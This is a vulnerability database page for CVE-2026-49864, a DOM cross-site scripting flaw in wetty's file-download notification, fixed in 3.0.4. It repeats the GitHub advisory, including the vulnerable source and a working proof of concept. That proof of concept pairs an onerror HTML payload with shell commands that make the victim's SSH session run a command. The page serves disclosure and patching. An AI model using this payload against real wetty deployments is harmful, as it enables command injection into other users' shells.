Every CVE Search/ Get API key

CVE-2026-49864

wetty vulnerable to DOM XSS via file-download filename

8.6 HighFix available

wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. Version 3.0.4 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Active

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
Low

Exploit likelihood

0.44%Up 0.1 points since Aug 14, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.6

wetty vulnerable to DOM XSS via file-download filename

wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. Version 3.0.4 fixes the issue.

Record
CVE-2026-49864
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-58245 8.6

wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. Version 3.0.4 fixes the issue.

Record
EUVD-2026-58245
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-p26j-h7wj-r568 8.6

wetty vulnerable to DOM XSS via file-download filename

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

  • Victim has wetty open with an active SSH session.
  • Attacker delivers the file-download escape sequence (\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
  • Default configuration; no non-default flags required.

Details

// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
  const remainingData = fileDownloader.buffer(data);
  // every PTY byte forwarded by the server passes through buffer()
  // ...
})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
  let fileNameBase64;
  let fileCharacters = bufferCharacters;
  if (bufferCharacters.includes(':')) {
    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
  }
  // ...
  void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}

async function detectAndDownload(/* ... */): Promise<void> {
  // ...
  let fileName;
  try {
    if (fileNameBase64 !== undefined) {
      fileName = window.atob(fileNameBase64);            // attacker-controlled
    }
  } catch { /* ... */ }
  fileName ??= `file-${ /* timestamp default */ }`;
  // ...
  Toastify({
    text: `Download ready: <a href="${blobUrl}" target="_blank" `
        + `download="${fileName}">${fileName}</a>`,     // sink
    duration: 10000,
    // ...
    escapeMarkup: false,
  }).showToast();
}

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

  1. Bring up wetty and its bundled SSH host from a fresh clone:

    git clone https://github.com/butlerx/wetty
    cd wetty
    docker compose up -d
    sleep 5
    
  2. Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

  1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:

    PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
    FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
    DATA_B64=$(printf 'bait' | base64 -w0)
    printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"
    

    Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.

  2. The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server…

Record
GHSA-p26j-h7wj-r568
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02
NVD 8.6

wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. Version 3.0.4 fixes the issue.

Record
CVE-2026-49864
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-79
Updated
2026-11-02
OSV 8.6

wetty vulnerable to DOM XSS via file-download filename

wetty provides terminal access in browser over http/https. Prior to version 3.0.4, the wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session. Version 3.0.4 fixes the issue.

Record
CVE-2026-49864
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-p26j-h7wj-r568 8.6

wetty vulnerable to DOM XSS via file-download filename

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

  • Victim has wetty open with an active SSH session.
  • Attacker delivers the file-download escape sequence (\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
  • Default configuration; no non-default flags required.

Details

// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
  const remainingData = fileDownloader.buffer(data);
  // every PTY byte forwarded by the server passes through buffer()
  // ...
})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
  let fileNameBase64;
  let fileCharacters = bufferCharacters;
  if (bufferCharacters.includes(':')) {
    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
  }
  // ...
  void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}

async function detectAndDownload(/* ... */): Promise<void> {
  // ...
  let fileName;
  try {
    if (fileNameBase64 !== undefined) {
      fileName = window.atob(fileNameBase64);            // attacker-controlled
    }
  } catch { /* ... */ }
  fileName ??= `file-${ /* timestamp default */ }`;
  // ...
  Toastify({
    text: `Download ready: <a href="${blobUrl}" target="_blank" `
        + `download="${fileName}">${fileName}</a>`,     // sink
    duration: 10000,
    // ...
    escapeMarkup: false,
  }).showToast();
}

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

  1. Bring up wetty and its bundled SSH host from a fresh clone:

    git clone https://github.com/butlerx/wetty
    cd wetty
    docker compose up -d
    sleep 5
    
  2. Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

  1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:

    PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
    FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
    DATA_B64=$(printf 'bait' | base64 -w0)
    printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"
    

    Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.

  2. The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server…

Record
GHSA-p26j-h7wj-r568
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wetty
npm
before 3.0.4
3.0.4

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-49864 is a high vulnerability (CVSS 8.6) in Butlerx Wetty, published July 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.44%, the 38th percentile. Fixed in wetty 3.0.4.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open